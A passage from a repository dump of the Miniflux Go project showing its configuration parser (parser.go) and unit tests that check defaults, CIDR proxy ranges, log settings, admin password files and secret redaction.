SCHEDULER_ROUND_ROBIN_MIN_INTERVAL to be 60 minutes by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"SCHEDULER_ROUND_ROBIN_MIN_INTERVAL=30\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.SchedulerRoundRobinMinInterval().Minutes() != 30 {\n\t\tt.Fatalf(\"Expected SCHEDULER_ROUND_ROBIN_MIN_INTERVAL to be 30 minutes\")\n\t}\n}\n\nfunc TestTrustedReverseProxyNetworksOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\t// Test default value\n\tdefaultNetworks := configParser.options.TrustedReverseProxyNetworks()\n\tif len(defaultNetworks) != 0 {\n\t\tt.Fatalf(\"Expected 0 allowed networks by default, got %d\", len(defaultNetworks))\n\t}\n\n\t// Test valid value\n\tif err := configParser.parseLines([]string{\"TRUSTED_REVERSE_PROXY_NETWORKS=10.0.0.0/8,192.168.1.0/24\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tallowedNetworks := configParser.options.TrustedReverseProxyNetworks()\n\tif len(allowedNetworks) != 2 {\n\t\tt.Fatalf(\"Expected 2 allowed networks, got %d\", len(allowedNetworks))\n\t}\n\tif !slices.Contains(allowedNetworks, \"10.0.0.0/8\") {\n\t\tt.Errorf(\"Expected 10.0.0.0/8 in allowed networks\")\n\t}\n\tif !slices.Contains(allowedNetworks, \"192.168.1.0/24\") {\n\t\tt.Errorf(\"Expected 192.168.1.0/24 in allowed networks\")\n\t}\n\n\t// Test invalid value\n\tif err := configParser.parseLines([]string{\"TRUSTED_REVERSE_PROXY_NETWORKS=127.0.0.1\"}); err == nil {\n\t\tt.Fatal(\"Expected error when parsing invalid CIDR notation IP 127.0.0.1, got nil\")\n\t}\n}\n\nfunc TestYouTubeEmbedDomainOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.YouTubeEmbedDomain() != \"www.youtube-nocookie.com\" {\n\t\tt.Fatalf(\"Expected YouTubeEmbedDomain to be 'www.youtube-nocookie.com' by default\")\n\t}\n\n\t// YouTube embed domain is derived from YOUTUBE_EMBED_URL_OVERRIDE\n\tif err := configParser.parseLines([]string{\"YOUTUBE_EMBED_URL_OVERRIDE=https://custom.youtube.com/embed/\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.YouTubeEmbedDomain() != \"custom.youtube.com\" {\n\t\tt.Fatalf(\"Expected YouTubeEmbedDomain to be 'custom.youtube.com'\")\n\t}\n}\n\nfunc TestSetLogLevelFunction(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\t// Test default log level\n\tif configParser.options.LogLevel() != \"info\" {\n\t\tt.Fatalf(\"Expected LOG_LEVEL to be 'info' by default, got '%s'\", configParser.options.LogLevel())\n\t}\n\n\t// Test setting log level to debug\n\tconfigParser.options.SetLogLevel(\"debug\")\n\tif configParser.options.LogLevel() != \"debug\" {\n\t\tt.Fatalf(\"Expected LOG_LEVEL to be 'debug' after SetLogLevel('debug'), got '%s'\", configParser.options.LogLevel())\n\t}\n\tif configParser.options.options[\"LOG_LEVEL\"].rawValue != \"debug\" {\n\t\tt.Fatalf(\"Expected LOG_LEVEL RawValue to be 'debug', got '%s'\", configParser.options.options[\"LOG_LEVEL\"].rawValue)\n\t}\n\n\t// Test setting log level to warning\n\tconfigParser.options.SetLogLevel(\"warning\")\n\tif configParser.options.LogLevel() != \"warning\" {\n\t\tt.Fatalf(\"Expected LOG_LEVEL to be 'warning' after SetLogLevel('warning'), got '%s'\", configParser.options.LogLevel())\n\t}\n\tif configParser.options.options[\"LOG_LEVEL\"].rawValue != \"warning\" {\n\t\tt.Fatalf(\"Expected LOG_LEVEL RawValue to be 'warning', got '%s'\", configParser.options.options[\"LOG_LEVEL\"].rawValue)\n\t}\n}\n\nfunc TestSetHTTPSValueFunction(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\t// Test setting HTTPS to true\n\tconfigParser.options.SetHTTPSValue(true)\n\tif !configParser.options.HTTPS() {\n\t\tt.Fatalf(\"Expected HTTPS to be true after SetHTTPSValue(true)\")\n\t}\n\n\t// Test setting HTTPS to false\n\tconfigParser.options.SetHTTPSValue(false)\n\tif configParser.options.HTTPS() {\n\t\tt.Fatalf(\"Expected HTTPS to be false after SetHTTPSValue(false)\")\n\t}\n\n\t// Test setting HTTPS to true again\n\tconfigParser.options.SetHTTPSValue(true)\n\tif !configParser.options.HTTPS() {\n\t\tt.Fatalf(\"Expected HTTPS to be true after second SetHTTPSValue(true)\")\n\t}\n}\n\nfunc TestConfigMap(t *testing.T) {\n\tconfigMap := NewConfigOptions().ConfigMap(false)\n\n\tif len(configMap) == 0 {\n\t\tt.Fatal(\"Expected ConfigMap to contain configuration options\")\n\t}\n\n\t// The first option should be \"ADMIN_PASSWORD\"\n\tif configMap[0].Key != \"ADMIN_PASSWORD\" {\n\t\tt.Fatalf(\"Expected first config option to be 'ADMIN_PASSWORD', got '%s'\", configMap[0].Key)\n\t}\n}\n\nfunc TestConfigMapWithRedactedSecrets(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif err := configParser.parseLines([]string{\"ADMIN_PASSWORD=secret123\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tconfigMap := configParser.options.ConfigMap(true)\n\n\tif len(configMap) == 0 {\n\t\tt.Fatal(\"Expected ConfigMap to contain configuration options\")\n\t}\n\n\t// The first option should be \"ADMIN_PASSWORD\"\n\tif configMap[0].Key != \"ADMIN_PASSWORD\" {\n\t\tt.Fatalf(\"Expected first config option to be 'ADMIN_PASSWORD', got '%s'\", configMap[0].Key)\n\t}\n\n\t// The value should be redacted\n\tif configMap[0].Value != \"<redacted>\" {\n\t\tt.Fatalf(\"Expected ADMIN_PASSWORD value to be redacted, got '%s'\", configMap[0].Value)\n\t}\n}\n"
  },
  {
    "path": "internal/config/parser.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage config // import \"miniflux.app/v2/internal/config\"\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"crypto/rand\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n\t\"net/url\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n)\n\ntype configParser struct {\n\toptions *configOptions\n}\n\nfunc NewConfigParser() *configParser {\n\treturn &configParser{\n\t\toptions: NewConfigOptions(),\n\t}\n}\n\nfunc (cp *configParser) ParseEnvironmentVariables() (*configOptions, error) {\n\tif err := cp.parseLines(os.Environ()); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn cp.options, nil\n}\n\nfunc (cp *configParser) ParseFile(filename string) (*configOptions, error) {\n\tfp, err := os.Open(filename)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer fp.Close()\n\n\tif err := cp.parseLines(parseFileContent(fp)); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn cp.options, nil\n}\n\nfunc (cp *configParser) postParsing() error {\n\t// Parse basePath and rootURL based on BASE_URL\n\tbaseURL := cp.options.options[\"BASE_URL\"].parsedStringValue\n\tbaseURL = strings.TrimSuffix(baseURL, \"/\")\n\n\tparsedURL, err := url.Parse(baseURL)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"invalid BASE_URL: %v\", err)\n\t}\n\n\tscheme := strings.ToLower(parsedURL.Scheme)\n\tif scheme != \"https\" && scheme != \"http\" {\n\t\treturn errors.New(\"BASE_URL scheme must be http or https\")\n\t}\n\n\tcp.options.options[\"BASE_URL\"].parsedStringValue = baseURL\n\tcp.options.basePath = parsedURL.Path\n\n\tparsedURL.Path = \"\"\n\tcp.options.rootURL = parsedURL.String()\n\n\t// Parse YouTube embed domain based on YOUTUBE_EMBED_URL_OVERRIDE\n\tyouTubeEmbedURLOverride := cp.options.options[\"YOUTUBE_EMBED_URL_OVERRIDE\"].parsedStringValue\n\tif youTubeEmbedURLOverride != \"\" {\n\t\tparsedYouTubeEmbedURL, err := url.Parse(youTubeEmbedURLOverride)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"invalid YOUTUBE_EMBED_URL_OVERRIDE: %v\", err)\n\t\t}\n\t\tcp.options.youTubeEmbedDomain = parsedYouTubeEmbedURL.Hostname()\n\t}\n\n\t// Generate a media proxy private key if not set\n\tif len(cp.options.options[\"MEDIA_PROXY_PRIVATE_KEY\"].parsedBytesValue) == 0 {\n\t\trandomKey := make([]byte, 16)\n\t\trand.Read(randomKey)\n\t\tcp.options.options[\"MEDIA_PROXY_PRIVATE_KEY\"].parsedBytesValue = randomKey\n\t}\n\n\t// Override LISTEN_ADDR with PORT if set (for compatibility reasons)\n\tif cp.options.Port() != \"\" {\n\t\tcp.options.options[\"LISTEN_ADDR\"].parsedStringList = []string{\":\" + cp.options.Port()}\n\t\tcp.options.options[\"LISTEN_ADDR\"].rawValue = \":\" + cp.options.Port()\n\t}\n\n\treturn nil\n}\n\nfunc (cp *configParser) parseLines(lines []string) error {\n\tfor lineNum, line := range lines {\n\t\tkey, value, ok := strings.Cut(line, \"=\")\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unable to parse configuration, invalid format on line %d\", lineNum)\n\t\t}\n\n\t\tkey, value = strings.TrimSpace(key), strings.TrimSpace(value)\n\t\tif err := cp.parseLine(key, value); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err := cp.postParsing(); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (cp *configParser) parseLine(key, value string) error {\n\tfield, exists := cp.options.options[key]\n\tif !exists {\n\t\tif key == \"FILTER_ENTRY_MAX_AGE_DAYS\" {\n\t\t\tslog.Warn(\"Configuration option FILTER_ENTRY_MAX_AGE_DAYS is deprecated; use user filter rule max-age:<duration> instead\")\n\t\t}\n\t\t// Ignore unknown configuration keys to avoid parsing unrelated environment variables.\n\t\treturn nil\n\t}\n\n\t// Validate the option if a validator is provided\n\tif field.validator != nil {\n\t\tif err := field.validator(value); err != nil {\n\t\t\treturn fmt.Errorf(\"invalid value for key %s: %v\", key, err)\n\t\t}\n\t}\n\n\t// Convert the raw value based on its type\n\tswitch field.valueType {\n\tcase stringType:\n\t\tfield.parsedStringValue = parseStringValue(value, field.parsedStringValue)\n\t\tfield.rawValue = value\n\tcase stringListType:\n\t\tfield.parsedStringList = parseStringListValue(value, field.parsedStringList)\n\t\tfield.rawValue = value\n\tcase boolType:\n\t\tparsedValue, err := parseBoolValue(value, field.parsedBoolValue)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"invalid boolean value for key %s: %v\", key, err)\n\t\t}\n\t\tfield.parsedBoolValue = parsedValue\n\t\tfield.rawValue = value\n\tcase intType:\n\t\tfield.parsedIntValue = parseIntValue(value, field.parsedIntValue)\n\t\tfield.rawValue = value\n\tcase int64Type:\n\t\tfield.parsedInt64Value = ParsedInt64Value(value, field.parsedInt64Value)\n\t\tfield.rawValue = value\n\tcase secondType:\n\t\tfield.parsedDuration = parseDurationValue(value, time.Second, field.parsedDuration)\n\t\tfield.rawValue = value\n\tcase minuteType:\n\t\tfield.parsedDuration = parseDurationValue(value, time.Minute, field.parsedDuration)\n\t\tfield.rawValue = value\n\tcase hourType:\n\t\tfield.parsedDuration = parseDurationValue(value, time.Hour, field.parsedDuration)\n\t\tfield.rawValue = value\n\tcase dayType:\n\t\tfield.parsedDuration = parseDurationValue(value, time.Hour*24, field.parsedDuration)\n\t\tfield.rawValue = value\n\tcase urlType:\n\t\tparsedURL, err := parseURLValue(value, field.parsedURLValue)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"invalid URL for key %s: %v\", key, err)\n\t\t}\n\t\tfield.parsedURLValue = parsedURL\n\t\tfield.rawValue = value\n\tcase secretFileType:\n\t\tsecretValue, err := readSecretFileValue(value)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error reading secret file for key %s: %v\", key, err)\n\t\t}\n\t\tif field.targetKey != \"\" {\n\t\t\tif targetField, ok := cp.options.options[field.targetKey]; ok {\n\t\t\t\ttargetField.parsedStringValue = secretValue\n\t\t\t\ttargetField.rawValue = secretValue\n\t\t\t}\n\t\t}\n\t\tfield.rawValue = value\n\tcase bytesType:\n\t\tif value != \"\" {\n\t\t\tfield.parsedBytesValue = []byte(value)\n\t\t\tfield.rawValue = value\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc parseStringValue(value string, fallback string) string {\n\tif value == \"\" {\n\t\treturn fallback\n\t}\n\treturn value\n}\n\nfunc parseBoolValue(value string, fallback bool) (bool, error) {\n\tif value == \"\" {\n\t\treturn fallback, nil\n\t}\n\n\tvalue = strings.ToLower(value)\n\tif value == \"1\" || value == \"yes\" || value == \"true\" || value == \"on\" {\n\t\treturn true, nil\n\t}\n\tif value == \"0\" || value == \"no\" || value == \"false\" || value == \"off\" {\n\t\treturn false, nil\n\t}\n\n\treturn false, fmt.Errorf(\"invalid boolean value: %q\", value)\n}\n\nfunc parseIntValue(value string, fallback int) int {\n\tif value == \"\" {\n\t\treturn fallback\n\t}\n\n\tv, err := strconv.Atoi(value)\n\tif err != nil {\n\t\treturn fallback\n\t}\n\n\treturn v\n}\n\nfunc ParsedInt64Value(value string, fallback int64) int64 {\n\tif value == \"\" {\n\t\treturn fallback\n\t}\n\n\tv, err := strconv.ParseInt(value, 10, 64)\n\tif err != nil {\n\t\treturn fallback\n\t}\n\n\treturn v\n}\n\nfunc parseStringListValue(value string, fallback []string) []string {\n\tif value == \"\" {\n\t\treturn fallback\n\t}\n\n\tvar strList []string\n\tpresent := make(map[string]bool)\n\n\tfor item := range strings.SplitSeq(value, \",\") {\n\t\tif itemValue := strings.TrimSpace(item); itemValue != \"\" {\n\t\t\tif !present[itemValue] {\n\t\t\t\tpresent[itemValue] = true\n\t\t\t\tstrList = append(strList, itemValue)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn strList\n}\n\nfunc parseDurationValue(value string, unit time.Duration, fallback time.Duration) time.Duration {\n\tif value == \"\" {\n\t\treturn fallback\n\t}\n\n\tv, err := strconv.Atoi(value)\n\tif err != nil {\n\t\treturn fallback\n\t}\n\n\treturn time.Duration(v) * unit\n}\n\nfunc parseURLValue(value string, fallback *url.URL) (*url.URL, error) {\n\tif value == \"\" {\n\t\treturn fallback, nil\n\t}\n\n\tparsedURL, err := url.Parse(value)\n\tif err != nil {\n\t\treturn fallback, err\n\t}\n\n\treturn parsedURL, nil\n}\n\nfunc readSecretFileValue(filename string) (string, error) {\n\tdata, err := os.ReadFile(filename)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tvalue := string(bytes.TrimSpace(data))\n\tif value == \"\" {\n\t\treturn \"\", errors.New(\"secret file is empty\")\n\t}\n\n\treturn value, nil\n}\n\nfunc parseFileContent(r io.Reader) (lines []string) {\n\tscanner := bufio.NewScanner(r)\n\tfor scanner.Scan() {\n\t\tline := strings.TrimSpace(scanner.Text())\n\t\tif !strings.HasPrefix(line, \"#\") && strings.Index(line, \"=\") > 0 {\n\t\t\tlines = append(lines, line)\n\t\t}\n\t}\n\treturn lines\n}\n"
  },
  {
    "path": "internal/config/parser_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage config // import \"miniflux.app/v2/internal/config\"\n\nimport (\n\t\"net/url\"\n\t\"os\"\n\t\"reflect\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestParseStringValue(t *testing.T) {\n\t// Test with non-empty value\n\tresult := parseStringValue(\"test\", \"fallback\")\n\tif result != \"test\" {\n\t\tt.Errorf(\"Expected 'test', got '%s'\", result)\n\t}\n\n\t// Test with empty value\n\tresult = parseStringValue(\"\", \"fallback\")\n\tif result != \"fallback\" {\n\t\tt.Errorf(\"Expected 'fallback', got '%s'\", result)\n\t}\n\n\t// Test with empty value and empty fallback\n\tresult = parseStringValue(\"\", \"\")\n\tif result != \"\" {\n\t\tt.Errorf(\"Expected empty string, got '%s'\", result)\n\t}\n}\n\nfunc TestParseBoolValue(t *testing.T) {\n\t// Test with empty value - should return fallback\n\tresult, err := parseBoolValue(\"\", true)\n\tif err != nil {\n\t\tt.Errorf(\"Unexpected error: %v\", err)\n\t}\n\tif result != true {\n\t\tt.Errorf(\"Expected true, got %v\", result)\n\t}\n\n\t// Test true values\n\ttrueValues := []string{\"1\", \"yes\", \"true\", \"on\", \"YES\", \"TRUE\", \"ON\"}\n\tfor _, value := range trueValues {\n\t\tresult, err := parseBoolValue(value, false)\n\t\tif err != nil {\n\t\t\tt.Errorf(\"Unexpected error for value '%s': %v\", value, err)\n\t\t}\n\t\tif result != true {\n\t\t\tt.Errorf(\"Expected true for '%s', got %v\", value, result)\n\t\t}\n\t}\n\n\t// Test false values\n\tfalseValues := []string{\"0\", \"no\", \"false\", \"off\", \"NO\", \"FALSE\", \"OFF\"}\n\tfor _, value := range falseValues {\n\t\tresult, err := parseBoolValue(value, true)\n\t\tif err != nil {\n\t\t\tt.Errorf(\"Unexpected error for value '%s': %v\", value, err)\n\t\t}\n\t\tif result != false {\n\t\t\tt.Errorf(\"Expected false for '%s', got %v\", value, result)\n\t\t}\n\t}\n\n\t// Test invalid value - should return error\n\t_, err = parseBoolValue(\"invalid\", false)\n\tif err == nil {\n\t\tt.Error(\"Expected error for invalid boolean value\")\n\t}\n}\n\nfunc TestParseIntValue(t *testing.T) {\n\t// Test with empty value - should return fallback\n\tresult := parseIntValue(\"\", 42)\n\tif result != 42 {\n\t\tt.Errorf(\"Expected 42, got %d\", result)\n\t}\n\n\t// Test with valid integer\n\tresult = parseIntValue(\"123\", 42)\n\tif result != 123 {\n\t\tt.Errorf(\"Expected 123, got %d\", result)\n\t}\n\n\t// Test with invalid integer - should return fallback\n\tresult = parseIntValue(\"invalid\", 42)\n\tif result != 42 {\n\t\tt.Errorf(\"Expected 42, got %d\", result)\n\t}\n\n\t// Test with zero\n\tresult = parseIntValue(\"0\", 42)\n\tif result != 0 {\n\t\tt.Errorf(\"Expected 0, got %d\", result)\n\t}\n}\n\nfunc TestParsedInt64Value(t *testing.T) {\n\t// Test with empty value - should return fallback\n\tresult := ParsedInt64Value(\"\", 42)\n\tif result != 42 {\n\t\tt.Errorf(\"Expected 42, got %d\", result)\n\t}\n\n\t// Test with valid int64\n\tresult = ParsedInt64Value(\"9223372036854775807\", 42)\n\tif result != 9223372036854775807 {\n\t\tt.Errorf(\"Expected 9223372036854775807, got %d\", result)\n\t}\n\n\t// Test with invalid int64 - should return fallback\n\tresult = ParsedInt64Value(\"invalid\", 42)\n\tif result != 42 {\n\t\tt.Errorf(\"Expected 42, got %d\", result)\n\t}\n}\n\nfunc TestParseStringListValue(t *testing.T) {\n\t// Test with empty value - should return fallback\n\tfallback := []string{\"a\", \"b\"}\n\tresult := parseStringListValue(\"\", fallback)\n\tif !reflect.DeepEqual(result, fallback) {\n\t\tt.Errorf(\"Expected %v, got %v\", fallback, result)\n\t}\n\n\t// Test with single value\n\tresult = parseStringListValue(\"item1\", nil)\n\texpected := []string{\"item1\"}\n\tif !reflect.DeepEqual(result, expected) {\n\t\tt.Errorf(\"Expected %v, got %v\", expected, result)\n\t}\n\n\t// Test with multiple values\n\tresult = parseStringListValue(\"item1,item2,item3\", nil)\n\texpected = []string{\"item1\", \"item2\", \"item3\"}\n\tif !reflect.DeepEqual(result, expected) {\n\t\tt.Errorf(\"Expected %v, got %v\", expected, result)\n\t}\n\n\t// Test with duplicates - should remove duplicates\n\tresult = parseStringListValue(\"item1,item2,item1\", nil)\n\texpected = []string{\"item1\", \"item2\"}\n\tif !reflect.DeepEqual(result, expected) {\n\t\tt.Errorf(\"Expected %v, got %v\", expected, result)\n\t}\n\n\t// Test with spaces\n\tresult = parseStringListValue(\" item1 , item2 , item3 \", nil)\n\texpected = []string{\"item1\", \"item2\", \"item3\"}\n\tif !reflect.DeepEqual(result, expected) {\n\t\tt.Errorf(\"Expected %v, got %v\", expected, result)\n\t}\n}\n\nfunc TestParseDurationValue(t *testing.T) {\n\t// Test with empty value - should return fallback\n\tfallback := 5 * time.Second\n\tresult := parseDurationValue(\"\", time.Second, fallback)\n\tif result != fallback {\n\t\tt.Errorf(\"Expected %v, got %v\", fallback, result)\n\t}\n\n\t// Test with valid duration\n\tresult = parseDurationValue(\"30\", time.Second, fallback)\n\texpected := 30 * time.Second\n\tif result != expected {\n\t\tt.Errorf(\"Expected %v, got %v\", expected, result)\n\t}\n\n\t// Test with minutes\n\tresult = parseDurationValue(\"5\", time.Minute, fallback)\n\texpected = 5 * time.Minute\n\tif result != expected {\n\t\tt.Errorf(\"Expected %v, got %v\", expected, result)\n\t}\n\n\t// Test with invalid value - should return fallback\n\tresult = parseDurationValue(\"invalid\", time.Second, fallback)\n\tif result != fallback {\n\t\tt.Errorf(\"Expected %v, got %v\", fallback, result)\n\t}\n}\n\nfunc TestParseURLValue(t *testing.T) {\n\t// Test with empty value - should return fallback\n\tfallbackURL, _ := url.Parse(\"https://fallback.com\")\n\tresult, err := parseURLValue(\"\", fallbackURL)\n\tif err != nil {\n\t\tt.Errorf(\"Unexpected error: %v\", err)\n\t}\n\tif result != fallbackURL {\n\t\tt.Errorf(\"Expected %v, got %v\", fallbackURL, result)\n\t}\n\n\t// Test with valid URL\n\tresult, err = parseURLValue(\"https://example.com\", nil)\n\tif err != nil {\n\t\tt.Errorf(\"Unexpected error: %v\", err)\n\t}\n\tif result.String() != \"https://example.com\" {\n\t\tt.Errorf(\"Expected https://example.com, got %s\", result.String())\n\t}\n\n\t// Test with invalid URL - should return fallback and error\n\tresult, err = parseURLValue(\"://invalid\", fallbackURL)\n\tif err == nil {\n\t\tt.Error(\"Expected error for invalid URL\")\n\t}\n\tif result != fallbackURL {\n\t\tt.Errorf(\"Expected fallback URL, got %v\", result)\n\t}\n}\n\nfunc TestConfigFileParsing(t *testing.T) {\n\tfileContent := `\n\t\t# This is a comment\n\t\tLOG_FILE=miniflux.log\n\t\tLOG_DATE_TIME=1\n\t\tLOG_FORMAT=json\n\t\tLISTEN_ADDR=:8080,:8443\n\t`\n\n\t// Write a temporary config file and parse it\n\ttmpFile, err := os.CreateTemp(\"\", \"miniflux-*.txt\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temporary file: %v\", err)\n\t}\n\n\tdefer os.Remove(tmpFile.Name())\n\tdefer tmpFile.Close()\n\n\tfilename := tmpFile.Name()\n\tif _, err := tmpFile.WriteString(fileContent); err != nil {\n\t\tt.Fatalf(\"Failed to write to temporary file: %v\", err)\n\t}\n\n\tconfigParser := NewConfigParser()\n\tconfigOptions, err := configParser.ParseFile(filename)\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected parsing error: %v\", err)\n\t}\n\n\tif configOptions.LogFile() != \"miniflux.log\" {\n\t\tt.Fatalf(\"Unexpected log file, got %q\", configOptions.LogFile())\n\t}\n\n\tif configOptions.LogDateTime() != true {\n\t\tt.Fatalf(\"Unexpected log datetime, got %v\", configOptions.LogDateTime())\n\t}\n\n\tif configOptions.LogFormat() != \"json\" {\n\t\tt.Fatalf(\"Unexpected log format, got %q\", configOptions.LogFormat())\n\t}\n\n\tif configOptions.LogLevel() != \"info\" {\n\t\tt.Fatalf(\"Unexpected log level, got %q\", configOptions.LogLevel())\n\t}\n\n\tif len(configOptions.ListenAddr()) != 2 || configOptions.ListenAddr()[0] != \":8080\" || configOptions.ListenAddr()[1] != \":8443\" {\n\t\tt.Fatalf(\"Unexpected listen addresses, got %v\", configOptions.ListenAddr())\n\t}\n}\n\nfunc TestConfigFileParsingWithIncorrectKeyValuePair(t *testing.T) {\n\tfileContent := `\n\t\tLOG_FILE=miniflux.log\n\t\tINVALID_LINE\n\t`\n\n\t// Write a temporary config file and parse it\n\ttmpFile, err := os.CreateTemp(\"\", \"miniflux-*.txt\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temporary file: %v\", err)\n\t}\n\n\tdefer os.Remove(tmpFile.Name())\n\tdefer tmpFile.Close()\n\n\tfilename := tmpFile.Name()\n\tif _, err := tmpFile.WriteString(fileContent); err != nil {\n\t\tt.Fatalf(\"Failed to write to temporary file: %v\", err)\n\t}\n\n\tconfigParser := NewConfigParser()\n\t_, err = configParser.ParseFile(filename)\n\tif err != nil {\n\t\tt.Fatal(\"Invalid lines should be ignored, but got error:\", err)\n\t}\n}\n\nfunc TestParseAdminPasswordFileOption(t *testing.T) {\n\ttmpFile, err := os.CreateTemp(\"\", \"password-*.txt\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temporary file: %v\", err)\n\t}\n\tdefer os.Remove(tmpFile.Name())\n\tdefer tmpFile.Close()\n\n\tpassword := \"supersecret\"\n\tif _, err := tmpFile.WriteString(password); err != nil {\n\t\tt.Fatalf(\"Failed to write to temporary file: %v\", err)\n\t}\n\n\tos.Clearenv()\n\tos.Setenv(\"ADMIN_PASSWORD_FILE\", tmpFile.Name())\n\n\tconfigParser := NewConfigParser()\n\tconfigOptions, err := configParser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected parsing error: %v\", err)\n\t}\n\n\tif configOptions.AdminPassword() != password {\n\t\tt.Fatalf(\"Unexpected admin password, got %q\", configOptions.AdminPassword())\n\t}\n}\n\nfunc TestParseAdminPasswordFileOptionWithEmptyFile(t *testing.T) {\n\ttmpFile, err := os.CreateTemp(\"\", \"empty-password-*.txt\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temporary file: %v\", err)\n\t}\n\tdefer os.Remove(tmpFile.Name())\n\tdefer tmpFile.Close()\n\n\tos.Clearenv()\n\tos.Setenv(\"ADMIN_PASSWORD_FILE\", tmpFile.Name())\n\n\tconfigParser := NewConfigParser()\n\t_, err = configParser.ParseEnvironmentVariables()\n\tif err == nil {\n\t\tt.Fatal(\"Expected error due to empty password file, but got none\")\n\t}\n}\n\nfunc TestParseLogFileOptionDefaultValue(t *testing.T) {\n\tos.Clearenv()\n\n\tconfigParser := NewConfigParser()\n\tconfigOptions, err := configParser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected parsing error: %v\", err)\n\t}\n\n\tif configOptions.LogFile() != \"stderr\" {\n\t\tt.Fatalf(\"Unexpected default log file, got %q\", configOptions.LogFile())\n\t}\n}\n\nfunc TestParseLogFileOptionWithCustomFilename(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"LOG_FILE\", \"miniflux.log\")\n\n\tconfigParser := NewConfigParser()\n\tconfigOptions, err := configParser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected parsing error: %v\", err)\n\t}\n\n\tif configOptions.LogFile() != \"miniflux.log\" {\n\t\tt.Fatalf(\"Unexpected log file, got %q\", configOptions.LogFile())\n\t}\n}\n\nfunc TestParseLogFileOptionWithEmptyValue(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"LOG_FILE\", \"\")\n\n\tconfigParser := NewConfigParser()\n\tconfigOptions, err := configParser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected parsing error: %v\", err)\n\t}\n\n\tif configOptions.LogFile() != \"stderr\" {\n\t\tt.Fatalf(\"Unexpected log file, got %q\", configOptions.LogFile())\n\t}\n}\n\nfunc TestParseLogDateTimeOptionDefaultValue(t *testing.T) {\n\tos.Clearenv()\n\n\tconfigParser := NewConfigParser()\n\tconfigOptions, err := configParser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected parsing error: %v\", err)\n\t}\n\n\tif configOptions.LogDateTime() != false {\n\t\tt.Fatalf(\"Unexpected default log datetime, got %v\", configOptions.LogDateTime())\n\t}\n}\n\nfunc TestParseLogDateTimeOptionWithCustomValue(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"LOG_DATE_TIME\", \"true\")\n\n\tconfigParser := NewConfigParser()\n\tconfigOptions, err := configParser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected parsing error: %v\", err)\n\t}\n\n\tif configOptions.LogDateTime() != true {\n\t\tt.Fatalf(\"Unexpected log datetime, got %v\", configOptions.LogDateTime())\n\t}\n}\n\nfunc TestParseLogDateTimeOptionWithEmptyValue(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"LOG_DATE_TIME\", \"\")\n\n\tconfigParser := NewConfigParser()\n\tconfigOptions, err := configParser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected parsing error: %v\", err)\n\t}\n\n\tif configOptions.LogDateTime() != false {\n\t\tt.Fatalf(\"Unexpected log datetime, got %v\", configOptions.LogDateTime())\n\t}\n}\n\nfunc TestParseLogDateTimeOptionWithIncorrectValue(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"LOG_DATE_TIME\", \"invalid\")\n\n\tconfigParser := NewConfigParser()\n\tif _, err := configParser.ParseEnvironmentVariables(); err == nil {\n\t\tt.Fatal(\"Expected parsing error, got nil\")\n\t}\n}\n"
  },
  {
    "path": "internal/config/validators.go",
